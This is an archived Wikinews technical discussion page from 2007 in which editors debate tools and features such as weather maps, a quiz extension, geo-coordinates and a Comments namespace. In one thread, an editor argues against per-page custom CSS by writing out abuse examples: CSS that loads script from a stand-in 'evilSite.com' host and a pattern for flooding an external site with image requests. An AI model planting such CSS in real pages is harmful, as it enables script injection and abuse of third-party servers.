Wikinews:Water cooler/technical/Archive/11

Wikinews weather
With the WeatherChecker application currently requiring a totally manual upload of all generated maps, skenmy is working on a little project on the toolserver that will almost totally automate weather.

At the moment it is very much in a beta state, and input on what we should be doing and how maps should appear is welcome. My current thinking is that the application should be driven off semi-protected pages on Wikinews where maps and weather stations are defined. In essence, the process would run on toolserver, look at what we want it to generate, and upload the relevant data somewhere (here, Commons?).

I know DragonFire1024 has expressed some dismay at the Weather being "taken over", it isn't quite like that. Skenmy has the skills/knowledge to set up a system we can effectively forget about. Additional effort on the project will net us things like conditions (eg cloud cover, precipitation). What is needed now is a serious discussion about how we present that information, and to what level of detail we go. This does dovetail with Ilya's current plans to submit a grant proposal to the Knight Foundation, if the project he plans there takes off weather will have to be done to a very local level. --Brian McNeil / talk 08:29, 17 July 2007 (UTC)
 * I am simply against something that the community cannot edit or contribute to.


 * I also would like to say that if we are to do this, we need to have very local weather for every major city in the world, or at least cities Wikinewsies are from. We also have to make this more than just temperatures. We need a 7-5 day forcast, local weather, clouds or not, rain, sun etc etc...a very long list basically.


 * My other concern is this project going into a "personal project" or users calling it "personal." This needs to be something everyone can do and not just a one trick pony. I understand toolserv is a good Idea, and I am in now way discrediting skenmy's work or anyone else. I am just opposed to this being so personal. Brianmc and I went through an incredible amount of trouble to get Iyla to fix WeatherChecker, and not to mention the fact the trouble we went through at harassing him to give us the code and or fix it. Although he may not mind, I feel bad that we went through great lengths just to abandon a program that already exists. DragonFire1024 (Talk to the Dragon) 08:37, 17 July 2007 (UTC)


 * I would like to clarify what is currently being developed, as I know that DragonFire1024, and maybe others, are clueless with regards to certain aspects of the development. What I have begun development on, jnot yet tied into Wikinews, is in automated weather reporting system. The first BETA is available at my toolserver account, but as of the time of writing this statement, the service which I am currently using is down for maintenance. (This is a single source for BETA usage - in no way indicative of the final result, which I plan to use multiple redundant sources for the weather gathering and map generation).


 * The original idea was for my tool to generate hourly weather maps, and upload the latest one to the same filename each time on Wikinews (perhaps Weather-Latest-World-C.jpg or similar). It was soon apparent that this would become highly unwieldly - coming close to 9,000 image uploads a year, if we had just a single weather map! This would put an immense strain on the resources we have - as the software would keep the backdated revisions of the image for all eternity. Not exactly the most portable of methods.


 * Adambro has now approached me with what I now consider to be a genius approach to solve the issue. At Wikipedia there are a bunch of templates which allow you to dynamically overlay textual and basic graphical information on an image - on wiki. No need for further image uploads, all the bot has to do is update the page each time! This is a much more preferable 9,000 contributions, and is a lot easier on the server end of things. The existing tool, which generates the static images, can very easily be adapted to generate the code required to create these overlayed images.


 * One idea (which I personally do not see being used, but it's what has been requested) was that these overlayed images would not be able to be saved (for "historical" reasons) - as they are just fancy formatting and HTML, not an actual image. So I can leave the image generator running as well - this would provide savable images for up to 24 hours after a particular time. These can then be uploaded to commons and used in an article as the images generated are public domain.


 * Obviously the whole thing is currently in BETA and is not yet tied into Wikinews - thus no major input or consensus is yet required by the majority of the community. However, I do want to hear your thoughts, views, comments, and ideas, though, providing they are constructive. --Skenmy(t•c•w•i) 20:09, 17 July 2007 (UTC)


 * It is mentioned that the information is coming from a "server", so apparently a single service is being used as a source. I assume this is data which we can freely use, but it is unfortunate to have to depend upon a single source.  On the other hand, many commercial weather services are extremely dependent upon a government weather service.  May I suggest that this may be a large enough project, and one which is of general enough interest, to become a separate Wiki service?  Certainly, seed the data with existing data sources.  Set it up so individual weather stations can add their data.  Let people (TV stations?) with their own weather radar add images/feeds.  The section on weather warnings would include only the current (or future) notices; these might come from official sources, but individual entries can be added (obviously duplicate warnings would be removed); individual entries might be made manually or by feeds from digital weather notice broadcasts (which may include warnings issued by a local government which a national weather service may not be aware of).  Then Wikinews would be using data from that other project rather than trying to swallow all that itself.  (SEWilco 17:33, 6 August 2007 (UTC))

Wikitable still not up to standard
I have been using tables in the 2007 Tour de France stories. But our version of Wikitable is not the same it seems. For example the colors are not working. Also, please compare Help:Table to m:Help:Table. It seems we are out-of-date. Thanks, --SVTCobra 16:10, 22 July 2007 (UTC)
 * We're missing CSS (most likely). the table colour coding in 'pedia is done trough w:mediawiki:common.css (and potentially w:mediawiki:monobook.css (some of it might be in other places, but those are automatically updated). Bawolff ☺☻ 21:27, 28 July 2007 (UTC)
 * Ignore last statement, css seems to be synced, but i only looked fast. Bawolff ☺☻ 22:03, 28 July 2007 (UTC)
 * Is the following what you're trying to do? Could you explain exactly what doesn't work? (not that I'll be able to read the message, as i'll be away after this again) Bawolff ☺☻ 05:35, 29 July 2007 (UTC)
 * Yes, that's it exactly. (highlighting the rider wearing the jersey in the corresponding color) (what you said about td versus tr is too technical for me) --SVTCobra 22:23, 7 August 2007 (UTC)

Wikipedia Table of Contents enhancement
I was looking at the main Water Cooler page the other day, and a potential software solution to one of the annoyances in finding things on the various (Tech, Misc, etc.) sub-pages struck me. We currently can use to include a page's table of contents at a specific point. Wouldn't it be useful to be able to include the table of contents from another page?

I've posted in #mediawiki about this, but better to put my point down on-wiki and get feedback here too. I suggest something like __TOC|pagename__ although it might need to be __TOC|pagename|toctitle__ to allow for showing contents from a sub-page with a sensible title. Of course, we use the dynamic boxes so it starts will all sections collapsed and keeps the page compact.

Beyond this, there are probably loads of uses for this as a compliment to functions like DPL. If, for example, there is a Wikinews shorts article for the day then an expand/collapse box could give a list of all stories in it on the main page, as well as a link to add to it. I'm also sure some of our more expert wikicode people could set it up so the default when no article is present is to start a new one, and once items exist the option is to add a new item.

How about original reporting? If all the notes are collected on a sectioned sub-page you can include a box to list all of the details when opened and go to something like an interview transcript, initially proposed list of questions, or such.

Outside of Wikinews I am sure this would have other uses. On Wikipedia I'll just bet the same issue with our Water Cooler exists and they could use this.

I code, and my opinion is that - on the surface - this looks like a relatively simple mod. On the other hand, there may be complexities because the standard Table of Contents is held entirely within the page or isn't generated unless the page has sufficient sections or an explicit tag. I could live with having to tag pages I want to include a ToC from, and if it failed gracefully by displaying nothing that would be an acceptable V0.?.

Anyone else on Wikinews think this would be useful and/or a good idea? --Brian McNeil / talk 14:55, 23 July 2007 (UTC)
 * Certainly intresting. As for syntax, wouldn't be more like how such things are usually done?. Bawolff ☺☻ 21:34, 28 July 2007 (UTC)


 * It sounds interesting, but may be technically awkward. Article titles are items in the database which can be easily retrieved and displayed.  I do not know if sections within an article are stored as text within the article or if they are also separate database items.  If sections are stored as text within the article then the table of contents has to be built by reading the text of the article.  Somewhat complex, but if that has to be done then it is quite fortunate that the Main Page is cached and will not have to be rebuilt often.  (SEWilco 17:16, 6 August 2007 (UTC))

Quiz extension
I'd like to set up a Quiz about Current events. At the end of each week, we could have a quiz about last week's events, something like the BBC has (Weekly world news quiz).

To be able to do this easily, I'd like the MediaWiki Quiz Extension to be installed on Wikinews. It's already being used on Wikiversity.

I'd like you all to share your thoughts and express your support. --Steven Fruitsmaak (Reply) 19:51, 4 August 2007 (UTC)
 * Or you could express your disapproval, if you wish to. No pressure. --Nzgabriel | Talk 22:10, 7 August 2007 (UTC)

Votes

 * Support. --Steven Fruitsmaak (Reply) 19:51, 4 August 2007 (UTC)
 * Support Yes, yes, yes! I love doing the BBC quiz when I remember - theirs is impossible to find except on a Friday and I think I stand a better chance on a Wikinews quiz. Brion, please give us this extension - I'll bet other languages such as Polish would love to have it too. --Brian McNeil / talk 20:04, 4 August 2007 (UTC)
 * Strong Support. Voting on fun things is "evil". ;) irid:t 20:08, 4 August 2007 (UTC)
 * Sure –Doldrums(talk) 20:19, 4 August 2007 (UTC)
 * WTHN (why the heck not) --Skenmy(t•c•w•i) 10:11, 5 August 2007 (UTC)
 * NOT. Crossword puzzles puzzle me. -Edbrown05 10:28, 5 August 2007 (UTC)
 * Support would be interesting —Zachary talk 11:11, 5 August 2007 (UTC)
 * Support - It would be interesting to have a quiz at the end of a week. Maybe it could be hosted fortnightly in the Bulletin? Thunderhead - (talk) 05:34, 6 August 2007 (UTC)
 * Support - I'm probably stating the obvious, but the information has to be from Wikinews articles - otherwise, what's the point? --Nzgabriel | Talk 22:04, 7 August 2007 (UTC)
 * Well, of course the information would be from Wikinews articles, but hosted in the Bulletin so it doesn't clog up the namespace, and it's easy to go back and find older versions of the quiz. Thunderhead - (talk) 22:37, 7 August 2007 (UTC)


 * Support - sounds like fun - but shouldn't we first make sure that we have articles about which we can quiz people? --SVTCobra 00:53, 9 August 2007 (UTC)
 * Because there is consensus, I'll go ahead and request it on Bugzilla. Thunderhead - (talk) 04:51, 12 August 2007 (UTC)
 * Please see Bugzilla bug 10889. Thunderhead - (talk) 04:55, 12 August 2007 (UTC)

Support Only if we copy the BBC Quiz so i can come here instead of there >:( (it is a joke :) ) Symode09 13:45, 13 August 2007 (UTC)
 * Then that would be a copyright violation!  —FellowWiki Newsie 01:06, 8 September 2007 (UTC)

Comments
Can someone point to an example of the Quiz in use on Wikiversity? I'd like to see a real example of how you code it up. --Brian McNeil / talk 10:19, 5 August 2007 (UTC)
 * Nevermind, found examples... http://en.wikiversity.org/wiki/Help:Quiz-Simple --Brian McNeil / talk 10:21, 5 August 2007 (UTC)

{Who this week withdrew their troops from Iraq? |type=""} - Norway + Denmark - Poland - United Kingdom

{What percentage of Wikimania 2007 attendees are Taiwanese? |type=""} - 35% - 45% - 50% + 55%

See the above in action at http://en.wikiversity.org/wiki/User_talk:Brianmc. --Brian McNeil / talk 10:30, 5 August 2007 (UTC)

{Is the Quiz extention installed? - No + Yes
 * type=""}


 * Yay! --Brian McNeil / talk 08:00, 17 August 2007 (UTC)
 * But it broke, and now Domas shut it off. :( ST47 16:08, 8 September 2007 (UTC)

Microformats and coordinates
Hi,

I've been adding microformats to Wikipedia-En, as part of the microformat project. I'd be interested, and willing to assist, in adding them to articles here. In particular:


 * hCard for people, organisations and venues
 * hCalendar for events
 * geo (a sub-set of hCard/hCalendar; or stand-alone) for coordinates

There are some issues with adding microformats to WikiMedia wikis.

Is anyone doing similar work (including geo-coding articles) already? Or interested in this initiative? Andy Mabbett 09:50, 6 August 2007 (UTC)


 * Adding such tags allows some tools to extract information such as geographical coordinates. If a news event happens at a specific geographical location, the location can be specified on the page.  If you have Google Earth running in your machine, when a coordinate is given in a Wikipedia article you can with two clicks view the location of the event in Google Earth (one click on the coordinate and a second click on "Google Earth" in the tools page).  (SEWilco 17:11, 6 August 2007 (UTC))


 * Quite interesting. Thunderhead - (talk) 20:12, 6 August 2007 (UTC)

By way of illustration, I've created coordinates and used it on Death toll up to six in Minneapolis bridge collapse. The output needs some prettification and possibly expanding to include a name a parameter, as an hCard. I'll attend to that later. (I'll add some links to parsing services here, after I've eaten!) Andy Mabbett


 * Now with added "name" parameter and hCard microformat. Andy Mabbett 18:53, 7 August 2007 (UTC)


 * Panda gives birth at San Diego Zoo has an instance with an inter-wiki-linked name property. Andy Mabbett 22:20, 7 August 2007 (UTC)


 * As presented I really don't like this. It is too prominent when it is - in my opinion - a minor detail. --Brian McNeil / talk 15:45, 9 August 2007 (UTC)


 * The presentation isn't supposed to be fixed; it's for the community to decide how it wants coordinates to be rendered; both where a single set applies to a story, and where a story includes a series of coordinates. Andy Mabbett 17:30, 9 August 2007 (UTC)


 * I'm critical of the format, not of the concept. If there is a standard in place for this on Wikipedia we perhaps should adopt it, but it should be far more discreet. At the moment it is just a ? on the article for people like myself who don't use geomapping toys. --Brian McNeil / talk 17:34, 9 August 2007 (UTC)
 * And nopt everyone has Google Earth or NASA World Wind etc etc. Plus, as the way the coordinates stand, they make articles look sloppy and unprofessional. If a cleaner way is possible, I am willing to discuss it. DragonFire1024 (Talk to the Dragon) 19:27, 9 August 2007 (UTC)


 * I agree with the comments above by DragonFire1024 and brianmc. I suggest not adding coordinates to articles beyond one or two examples to demonstrate the idea. I feel that coordinates can be useful to some readers and support this idea but Andy (pigsonthewing) needs to consider the views of other editors and address their concerns about the layout and formatting before expanding the introduction of coordinates more than can be justified as a demonstration to facilitate discussion. The coordinates should be less prominent and would suggest adopting the same layout as enwiki for primary coordinates where they are in small text in the top right of the article page. See London for an example. I will work towards implementing this format on Wikinews as this would hopefully satisfy the concerns raised. This still leaves an issue for articles where it may be appropriate to give secondary coordinates and I think this would require a different solution but there may not be many circumstances where the inclusion of secondary coordinates is justifiable. Adambro 20:13, 9 August 2007 (UTC)


 * "Andy needs to consider the views of other editors and address their concerns about the layout and formatting" that's exactly why I started this discussion. Unfortunately, it's going to be difficult for other editors to participate, because one person keeps removing the examples I've provided.


 * Multiple coordinates would be appropriate, for example, for an article about a plane crash (departure, point of impact, intended landing), opening of a tunnel (start, end, possibly mid-point), Royal visit ("the King visited the hospital, a school and a cathedral" = three venues). Andy Mabbett 09:29, 10 August 2007 (UTC)


 * To add to Adambro's lengthy comment above, you may be on your own doing this. That is, people may not object if you've turned the coordinate data into a little box that is unobtrusive. However, as encyclopaedic information it might be the case that focusing on getting the data into Wikipedia is more important. Then it is only one click away from a Wikinews article if the linking is done correctly.
 * To follow up further to DragonFire1024's comment I'd say only do a few articles and try and work out how to display the information during the window prior to their archival. Look around for templates to steal/adapt and make the text small. If it is possible with any of the web-based mapping services to make up a link with location details then that might be an idea for those without Google Earth or other such. However, let people have a look at who you propose linking to.
 * Finally, do not be discouraged. My comments, and my reading of those above, is that people think this is an interesting idea - they're just cautious about how it is introduced to articles. I have Skype installed and phone numbers are converted into "click to dial" links. I assume the geomapping software does the same with coordinates. --Brian McNeil / talk 20:51, 9 August 2007 (UTC)


 * The coordinates often are in Wikipedia; but that's of no use to tools which can locate news articles onto mapping services. I have added coordinates to a few articles, but have been persistently reverted. I am working on mapping links, but the service used by Wikipedia needs DMS, not decimal values. I'll try a temporary alternative (but there's not much use if people are prevented from seeing it in action!). And, frankly, I do find the majority of the current responses discouraging. Andy Mabbett 09:29, 10 August 2007 (UTC)


 * Google Maps link added. Andy Mabbett 09:50, 10 August 2007 (UTC)


 * As I think the above comments indicate, your data should be boxed and small . One of the philosophies held to by many Wikinewsies is that we should try and keep readers on our site. This is expressed in local links coming first (eg George W. Bush versus George W. Bush), related news coming before sources in the article layout, and external links being the last part of an article.
 * Take a look at the template applied to featured articles, I'm not a wikicode expert - but it is something like that you need. A box down the foot of the article where you place the template and it says "This article is geocoordinated" or similar, and a really small box at the top of the article with the coordinate data/links. If you need help with the wikicode for that ask here and give your ideas on what you want. I know the community well enough to know that what you may perceive as hostility is just "being conservative". You've had no real opposition, just a difference of opinion on how widespread a demo you should do, and disagreement on how much work needs done to templates before they should be widely used. Personally I wouldn't object to having a geo template for new articles while we introduce the system and a project to add it to archived articles, perhaps as geo-discreet. --Brian McNeil / talk 10:48, 10 August 2007 (UTC)


 * Aside from geo-tagging and microformats, my other area of specialism is web accessibility. Small text (i.e less than 100%) is inaccessible text. Thanks, though, for your supportive comment. Andy Mabbett 10:55, 10 August 2007 (UTC)


 * The coordinates now link to the same map service template as used by Wikipedia. Example:




 * Andy Mabbett 00:01, 17 August 2007 (UTC)

Is there any interest in developing this, or shall I drop it? Andy Mabbett 09:57, 20 August 2007 (UTC)


 * I'd like articles to be geotagged. A template near the bottom with a short message is all that's needed for a human to find it.  Any automated tool looking for the tag will find it anywhere in the article.  (SEWilco 23:52, 20 August 2007 (UTC))
 * Lets add it to the date template as an optional parameter. It could then display the coords in the top-right corner like some wikipedia articles do (Perhaps with a modification to the wikiatlas js extention, cool things with this could happen with this). I think adding such data to articles is a good idea.

 '''There is to be a new discussion on this issue. Do not add anymore votes or comments on this proposal. '''

Recent page move vandalism
Wikinews seems to have been the subject of a number of sustained campaigns of page move vandalism recently. Today was particularly bad and justified the Wikimedia stewards temporarily giving me and another trusted user in order clean up the resulting mess in a speedy manner. These rights have now been removed after the clean-up was completed.

On Wikipedia, new users cannot move pages until they have held their account for 4 days. Whilst this of course doesn't stop the page move vandalism, it certainly will go some way to make it more difficult and hopefully discourage the vandals from doing it. This may of course inconvenience genuine users.

I think this can only be changed by stewards so would like to achieve some consensus for doing this to show to the stewards for this change to be made as soon as possible. For this I propose a vote to quickly demonstrate whether the community would support this. Adambro 13:27, 15 August 2007 (UTC)
 * Can only be changed by developers after request on Bugzilla. Thunderhead - (talk) 02:17, 21 August 2007 (UTC)
 * I think the solution is not more restrictions, but more sysops. Then emergency sysoppings are not necessary. TheFearow 06:40, 25 August 2007 (UTC)

Support

 * 1) Adambro 13:27, 15 August 2007 (UTC)
 * 2) ok with this, as an emergency fix. OlivierEM 13:50, 15 August 2007 (UTC)
 * 3) Full support in the short term (although if majorly problamatic may change view in long term but doubt it).--Mark Talk to me 14:00, 15 August 2007 (UTC)
 * 4) Cometstyles 14:46, 15 August 2007 (UTC)

Oppose

 * 1) I can't support this, Sandman's comment highlights the problems we could have. New users can't fix their own typos and news is much faster moving than this allows for. --Brian McNeil / talk 16:10, 15 August 2007 (UTC)
 * 2) Oppose per my earlier comments bellow, and the fact that they have not benn addressed (I wasn't really expecting a miracle solution, to be honest).  Blood Red Sandman  (Talk)   (Contribs) 11:39, 16 August 2007 (UTC)
 * 3) Oppose Wikipedia's need for moving pages is much different than Wikinews'. By the time the four days have been passed (or similar) the news can't be edited, and any edit will have to be reverted due to policy. However, vandalism does need hampering; just not this way. --Nzgabriel | Talk 01:54, 17 August 2007 (UTC)
 * 4) Oppose I can't really support this in good heart. This is a wiki after all. Thunderhead - (talk) 02:16, 21 August 2007 (UTC)
 * 5) Oppose No, make more sysops to handle vandalism not harder to move. TheFearow 04:48, 7 September 2007 (UTC)

Comments

 * I'll wait for other input, but this could cause headaches on breaking stories when we get an influx of new contributors. --Brian McNeil / talk 14:04, 15 August 2007 (UTC)
 * Yes, I certainly appreciate this isn't ideal. I'm putting together a checkuser request at the moment which hopefully might allow an appropriate IP range block to be setup to address this problem. Adambro 14:49, 15 August 2007 (UTC)
 * But you can create a new page more easily - what if you then find out you've made a typo? And usually people start a story and take it all the way, rather than fiddle with existing ones - it would really put people off if they found they couldn't do anything 'till after the story had ceased to be news, and I would imagine they would, once gone, be unlikely to return. So unless someone addresses these concerns, I may well have to oppose. Blood Red Sandman  (Talk)   (Contribs) 16:00, 15 August 2007 (UTC)
 * I was under impression that this was already enabled. Bawolff ☺☻ 03:18, 7 September 2007 (UTC)
 * I thought, like Bawolff, that this is already enabled.  —FellowWiki Newsie 00:57, 8 September 2007 (UTC)


 * ''The above discussion is preserved as an archive. Please do not modify it.. A new section is to be created to discuss this matter further. No more edits should be made to this section.

Improved news design?
I've been playing around with improving our news design: see User:IlyaHaykinson/Test. Imagine our front page being more graphical and actually having images that click to articles instead of description pages, etc -- like professional news sites. Thoughts? Anyone want to take this idea further? -- IlyaHaykinson 23:49, 23 August 2007 (UTC)
 * Consider making the images smaller. MessedRocker (talk) 23:50, 23 August 2007 (UTC)


 * I wasn't actually proposing making the image this big :-) It was just an example &mdash; overlapping headlines on top of images + having the image link to the article, instead of headline+summary+image as we do right now.  I just put an alternate image on this page to illustrate my point. -- IlyaHaykinson 01:56, 24 August 2007 (UTC)
 * As can be seen, I put in the updated design on the homepage. -- IlyaHaykinson 15:59, 24 August 2007 (UTC)


 * yup love the new design althouhg i agree the pic could be a bit smaller. --Mark Talk to me 16:46, 24 August 2007 (UTC)


 * The balance is a bit distorted, on a day with lots of articles there is empty space on the left. Maybe the image should be a bit smaller. --Steven Fruitsmaak (Reply) 20:22, 24 August 2007 (UTC)


 * Ok; next time I'll try with images of 450 width instead of 500. -- IlyaHaykinson 21:14, 24 August 2007 (UTC)


 * Love the new design. It really makes Wikinews so much more attractive. Please let me know if I can help in any way. —TheVault 02:03, 25 August 2007 (UTC)

Monobook Skin Possessed
My monobook skin is possessed! The monobook skin is the default skin for Wikinews users. I was recently doing some editing and all of the sudden my monobook skin is not working any more? It looks really old fashioned style of the sudden. I tired changing my skin and changing it back, still not working. :? Eric Wester 04:12, 30 August 2007 (UTC)
 * I signed out and cleared my cache. It now appears normal again. Weird! Eric Wester 04:16, 30 August 2007 (UTC)
 * I don't understand. You never created User:Eric Wester/monobook.css. If you do not have that page created you should be seeing the default skin. Mabie this is an error with the website's coding?  —FellowWiki Newsie 01:02, 8 September 2007 (UTC)
 * It sounds like something weird happened to the servers temporarily switching the skin to standard, and then the issue was fixed. Bawolff ☺☻ 01:07, 8 September 2007 (UTC)

Custom CSS
flag Hey,

On several pages I have been working on, and several I have planned, it would be VERY useful to put in custom CSS styles for it. There is an extension to allow customising the including of CSS into pages using a parserfunc.

This would be useful in several scenarios:
 * A user creates a fancy page, but has 5 or so divs that use the exact same inline style. They could just make a CSS stylesheet in a subpage, and include it using this extension, to save lots of work when updating
 * A page needs certain elements changed to make it display properly, such as hiding certain links or elements
 * A portal that recolours/changes the background/etc of the main site to make a "themed portal", to make it look like the themed portals most websites have.

There wouldnt be many scenarios where this could do damage - worst that could happen is someone modifies the CSS to hide important things, but then (since it would only affect one or two pages) you could just edit the CSS page, and fix that easily, as the CSS page wouldnt have the CSS in it.

What do you all think? TheFearow | userpage|contribs 21:51, 9 September 2007 (UTC)
 * Worst damage I can think of is a bit more:

body {background-image: url(RandomDisgustingExternallyHostedImage.jpg);}

or how about


 * {display: none;} //but thats just annoying but easily reverted
 * {text-decoration: blink}

umm, Possible DoS against some poor site (We're not really big enough to be bad, but still not good)

span {background-image: url(http://external-website.com/hugeFile.png)} div {background-image: url(http://external-website.com/hugeFile2.png)} //etc

Umm possible JS insertion (I think, I'm really not 100% sure how xbl works)

div {behavior: url("http://evilSite.com/bad.js#ahh");}//or is it -xbl-behavior or -moz-behavior. Can't remember I'm sure there is more I missed. If you need css for something, I think adding it to mediawiki:common.css is a better idea. Bawolff ☺☻ 03:16, 10 September 2007 (UTC)
 * P.S. The examples you provided don't really need it. If a user has five inline styles, it might be useful enough to add to the site css, or typing something 5 times won't hurt him/her. Page needing certain elements changed can generally be done inline, Portal recolours can mostly be done inline. If you want a background image, can be done via site css, as was done for portal:football (Or at least the really cool version about a year ago when user:Spum was running it.) I personally think the vandalistic risks outweigh the benifits on this one. Bawolff ☺☻ 03:21, 10 September 2007 (UTC)
 * In that case, I have another idea for a system I could implement at a later date, that would work better than this. Unflagged. TheFearow | userpage|contribs 03:32, 10 September 2007 (UTC)
 * I see what your idea is, and I agree that that would be a better solution. Bawolff ☺☻ 05:32, 10 September 2007 (UTC)
 * Is that the script I created? If so, yeah, it makes it admin-only and allows us to put as much as we want for each page without the browser having to download EVERY pages CSS and JS seperately. TheFearow | userpage|contribs 05:53, 10 September 2007 (UTC)
 * One thing i was thinking about is that this is only going to be used on a small number of pages. Therefor hopw about something like this:

And then you include (or a template like ) on the page, extra css is fetched. That way its not getting the extra css every time. (You could even do it so that which css is fetched is based on the spans class and have a template like (for mediawiki:common.css/foo.css) so pages can share css files, but that might be overkill)). Bawolff ☺☻ 22:02, 15 September 2007 (UTC)
 * The extra CSS is about 6 bytes anyway if not specified ("/* Empty */"), and adding that is probably too much work for little benefit. Matt | userpage|contribs 22:11, 15 September 2007 (UTC)
 * This is kind of weird. On firebug, I was looking at the time taken to load various stuff, and the css and js that did not exist seemed to take longer to load then the bigger but existing stuff. (unless it counts time as including the time it takes to phrase document and js before it loads the new files, but i don't think it does). Bawolff ☺☻ 00:03, 1 October 2007 (UTC)
 * There is a bit of overhead, and it would count other stuff. Also, since its doing so after the page loads (I think at least), it shouldnt be noticeable by the users. Also, the existing stuff will be cached, but non-existing probably wont be. Matt | userpage|contribs 09:42, 1 October 2007 (UTC)

Thanks for the prompt to rename "Comments" page!
To whoever added the prompt to rename the "Comments" page whenever an article is renamed, thank you! It works great and is a nice reminder to do that - something which can be forgotten. Anyway, good stuff! -Jcart1534 20:19, 14 September 2007 (UTC)
 * Bawolff! irid:t 20:21, 14 September 2007 (UTC)
 * [[image:smile.png]] Bawolff ☺☻ 21:52, 15 September 2007 (UTC)

Comments namespace
Currently we have a mashed up solution to the Comments tabs that add /Comments to the article title and stores it under the talk name space. I have spoken briefly to Brion Vibber about the possibility of a new comments name space and en.wikibooks have already had a new namespace made for them there. Therefore i would propose that we have a "Comments" namespace to keep the comments in now they have been accepted by most if not all of the community.--Mark Talk to me 20:24, 17 September 2007 (UTC)

Thoughts and votes??

Comments

 * This idea was proposed originally by Skenmy, here.  —Fellow Wiki  Newsie 21:08, 17 September 2007 (UTC)
 * Would anyone like me to code an extension to auto-move the comments page? It would make the namespace even more useful, and even if we dont use another namespace it would still work quite well. Matt | userpage|contribs 21:25, 19 September 2007 (UTC)
 * I think that this would be thrillingly useful. -- IlyaHaykinson 04:02, 20 September 2007 (UTC)
 * I could write something to move the pages to a namespace pretty easily. irid:t 12:44, 20 September 2007 (UTC)
 * No, I meant an extension so that when you use the normal "move" feature it auto-moves the respective Comments page as well. A bot to move the existing comments pages would also be needed, but that can easily be written. Matt | userpage|contribs 21:18, 20 September 2007 (UTC)
 * Will this namespace have an associated talk namespace? Bawolff ☺☻ 03:46, 22 September 2007 (UTC)
 * No.  —Fellow Wiki  Newsie 22:09, 24 September 2007 (UTC)
 * Stupid me not reading stuff. I support Bawolff ☺☻ 01:52, 25 September 2007 (UTC)

Javascript bug
The way we currently deal with the comments pages is flawed to some degree. Try going to this link: (click) and then click the "article" tab. You will get an error.

I was on the fence about this before, but I think a comments namespace would more elegantly solve this issue, without Javascript (or with a minimal amount). irid t i [mailto:ironiridis@gmail.com e] 04:17, 27 September 2007 (UTC)
 * Thats a problem with converting unicode characters to percent encoded things (which is used in url) as oposed to js style unicode escape codes. It should be easy to fix (I will try and fix it some time soon, or someone else will probably beat me to it). Bawolff ☺☻ 04:33, 27 September 2007 (UTC)

✅ Should work fine now. However that part of the js is not very well coded (mostly because when i originally adapted it for commenting, I didn't know very much about javascript) and probably should be re-written or at least made less messy sometime in the future if we continue to use such javascript tricks to make the commenting system work. (hopefully we'll switch to a purely server-side solution soon) Bawolff ☺☻ 23:33, 30 September 2007 (UTC)

Votes

 * --Mark Talk to me 20:24, 17 September 2007 (UTC)
 * Support Looks more professional.  —Fellow Wiki  Newsie 21:01, 17 September 2007 (UTC)
 * I love the idea. A lot easier to link to as well ( We can build a template that uses Comments: ) Matt | userpage|contribs 21:06, 17 September 2007 (UTC)
 * It would make things way more easier for changing article headlines, etc. --Nzgabriel | Talk 03:33, 18 September 2007 (UTC)
 * It is a pain renaming the comments page when you do a move. --Brian McNeil / talk 13:53, 19 September 2007 (UTC)
 * A separate namespace would more clearly delineate the different rules that we apply to reader comments. -- IlyaHaykinson 04:02, 20 September 2007 (UTC)
 * I just found a bug in the supporting Javascript for our current function that does not appear to be trivial to fix. Better move away from the Javascript voodoo. irid t i [mailto:ironiridis@gmail.com e]  04:13, 27 September 2007 (UTC)


 * Right well ive requested this now here. --Mark Talk to me 15:35, 27 September 2007 (UTC)
 * Seems like the comments ns request has gone through, Should the voodoo js be changed to use it instead, or is server changes forthcoming (really hoping for sever changes being the answer)? Bawolff ☺☻ 22:35, 30 September 2007 (UTC)
 * yup its been done. we need to move all the pages over to the new namespace and change the links for the haveyoursay template but yes we also need to change that wonderfull piece of coding magic as, as far as i know, weve now been left to our own devices. so overall i think its all up to us. --Mark Talk to me 22:43, 30 September 2007 (UTC)
 * Well as a temporary measure we can make have your say goto either the comment ns, or /comment depending if one exists already using phaser func magic, but before we do that, we'd probably need to modify the javascript (or somehow manage to get something set-up server side). As for moving from /comment &rarr; comment:, I would imagine we should get a bot to do that. Bawolff ☺☻ 23:37, 30 September 2007 (UTC)
 * whats the ETA on this, i find talk pages very hard to use, i often find empty ones and when i comment find a full page already there!82.45.210.78 15:21, 30 October 2007 (UTC)

RSS mess up?
My computer runs vista, and on it, I run it's sidebar app; in the side bar I've had it sync the headlines from Wikinews.

However, for the last many months, the date seems to be stuck on Sat Dec 30, which has me wondering; is their an error with the RSS feed's dating of article on this site?--142.68.41.208 03:00, 21 September 2007 (UTC)
 * Most likely you aren't refreshing it - also, double check you have the right RSS URL. Matt | userpage|contribs 03:48, 21 September 2007 (UTC)

Google stats
I have started a google analytics account for my WN account and im hoping that others would like to do the same so as we can determine the most read articles. We have tried many times to get Wikicharts set up for WN and this hasent been done. The code and idea is the same is as currently happening on Wikibooks. To help us to create stats you need to copy the folloing pages to your respective pages. This needs to be under your namespace (ie http://en.wikinews.org/wiki/User:YOURUSERNAME/google.js) and this the same.

These stats will be sent to all the users signed up and who have requested it (so they can check no details/privacy issues) and i will try to get some of it onto here every day such as the most read articles with much broader things every month. The code CANNOT be added to the common.js etc due to catching stuff and prvacy issues so this is only by sign up only and needs to be done by the user them selves. If you need help then contact me. --Mark Talk to me 15:42, 27 September 2007 (UTC)

Reduce the need for 2 Dynamic Navigations
I've noticed that Wikinews uses two copies of Dynamic Navigation in MediaWiki:Common.js and was thinking that Wikinews could benefit from some changes made to the Dynamic Navigation javascript on both English Wikibooks and English Wikiversity, which allows a mix of navigations, some expanded and some collapsed by default, to be used on the same page. This could reduce the need for two copies here. --dark lama  16:06, 27 September 2007 (UTC)
 * I was thinking of combining them at one point, but never got around to finishing it. (What I worked on is hanging around somewhere in user:Bawolff/sandbox). Such a combination would probably be useful. Bawolff ☺☻ 20:22, 30 September 2007 (UTC)

Can a forum on Retail Industry be considered?
A forum on Retail industry would be interesting and opinion polls on various industry issues also can be conducted.

--Ramnaths6369 10:06, 29 September 2007 (UTC)
 * We write news, not forums. Sorry. DragonFire1024 (Talk to the Dragon) 10:16, 29 September 2007 (UTC)

Idea
Can we have a real live chat channel for Wikinews? I've already discussed this in IRC earlier. This would be just like IRC with people talking about Wikinews policies, Wikinews Original Reporting, etc, but in live chat with people talking about Wikinews policies, Wikinews Original Reporting, etc, with a headphone and microphone (headset). There would be no vandals because you would have to be invited to go into the channel. Of course we don't have to do this, but personally I am interested. What is everyone's thoughts on this? Concerns?  —Fellow Wiki  Newsie 00:23, 5 October 2007 (UTC)
 * I love it. I'll create one :) Matt | userpage|contribs 08:26, 5 October 2007 (UTC)
